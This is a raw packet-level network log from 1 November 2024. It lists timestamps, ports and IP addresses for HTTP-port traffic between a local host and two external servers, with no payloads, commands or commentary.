Nov 1, 2024 12:34:09.382764101 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.383518934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.383626938 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.383687973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.383742094 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.508712053 CET	80	49973	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:09.509051085 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:09.511589050 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:09.517097950 CET	80	49973	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:09.538721085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538794994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538822889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538830042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538836956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538850069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538856983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.538903952 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.538945913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.539411068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539417982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539431095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539438009 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539448977 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539463997 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539477110 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.539582014 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.539609909 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.540199995 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540205956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540219069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540225029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540237904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540244102 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540255070 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.540256977 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.540285110 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.540316105 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.541274071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541280985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541294098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541326046 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.541347980 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.541382074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541388035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541399956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541407108 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541426897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.541454077 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.541959047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541965961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541977882 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541982889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.541995049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542001963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542004108 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.542010069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542020082 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.542036057 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.542049885 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.542898893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542906046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542918921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542924881 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542937994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542944908 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542949915 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.542951107 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.542978048 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.544167995 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.544174910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.544218063 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696049929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696062088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696069956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696082115 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696088076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696113110 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696125984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696132898 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696230888 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696230888 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696230888 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696279049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696285963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696325064 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696355104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696371078 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696382999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696413040 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696451902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696458101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696477890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696500063 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696526051 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696542978 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696548939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696554899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696563959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696579933 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696593046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696597099 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696605921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.696619987 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.696705103 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697129965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697137117 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697154045 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697189093 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697205067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697212934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697221041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697223902 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697225094 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697243929 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697279930 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697417974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697423935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697436094 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697459936 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697473049 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697494984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697500944 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697513103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697520971 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697537899 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697562933 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697839022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697844982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697859049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697889090 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697912931 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697916031 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697920084 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697933912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697940111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697945118 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697954893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697957993 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697962999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697969913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697977066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697981119 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.697985888 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.697997093 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.698015928 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.698616028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.698621988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.698642969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.698662043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.698667049 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.698668957 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.698700905 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.698709965 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701163054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701172113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701215982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701215029 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701287031 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701328039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701337099 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701348066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701354027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701368093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701370001 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701374054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701386929 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701392889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701392889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701406956 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701406956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701415062 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701421022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701425076 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701443911 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.701493025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.701529980 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702151060 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702156067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702193022 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702246904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702253103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702266932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702272892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702287912 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702302933 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702522039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702528000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702539921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702547073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702564001 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702590942 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702615976 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702621937 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702635050 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702639103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702656031 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702672958 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702792883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702804089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702811003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702816010 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.702835083 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.702858925 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703125000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703166008 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703190088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703196049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703211069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703216076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703227997 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703233957 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703234911 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703242064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703263044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703263044 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703269958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703277111 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703285933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703308105 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703325987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.703330040 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.703352928 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.800780058 CET	80	49973	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:09.800847054 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:09.854209900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854214907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854228973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854271889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854301929 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854360104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854367971 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854383945 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854391098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854403019 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854403973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854410887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854418039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854428053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854429007 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854435921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854440928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854464054 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854484081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854490995 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854491949 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854502916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854525089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854526043 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854533911 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854552984 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854573011 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854604959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854610920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854639053 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854703903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854710102 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854721069 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854727983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854741096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854747057 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854748011 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854763985 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854784966 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854875088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854881048 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854892015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854899883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854907036 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854918957 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854923964 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854926109 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.854942083 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.854958057 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855159998 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855170965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855184078 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855187893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855192900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855205059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855211973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855233908 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855242968 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855251074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855257034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855268955 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855274916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855279922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855289936 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855293036 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855303049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855319977 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855323076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855330944 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855331898 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855360985 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855384111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855390072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855401993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855407953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855418921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855442047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855442047 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855470896 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855519056 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855525017 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855539083 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855545044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855557919 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855575085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855581999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855585098 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855593920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855613947 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855628967 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855683088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855690002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855700970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855719090 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855741978 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855757952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855789900 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855846882 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855853081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855865002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855870962 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855890989 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855897903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855904102 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855912924 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855940104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855943918 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855946064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855952978 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.855974913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.855997086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856028080 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856034040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856045008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856050968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856062889 CET	80	49972	185.215.113.16	192.168.2.7
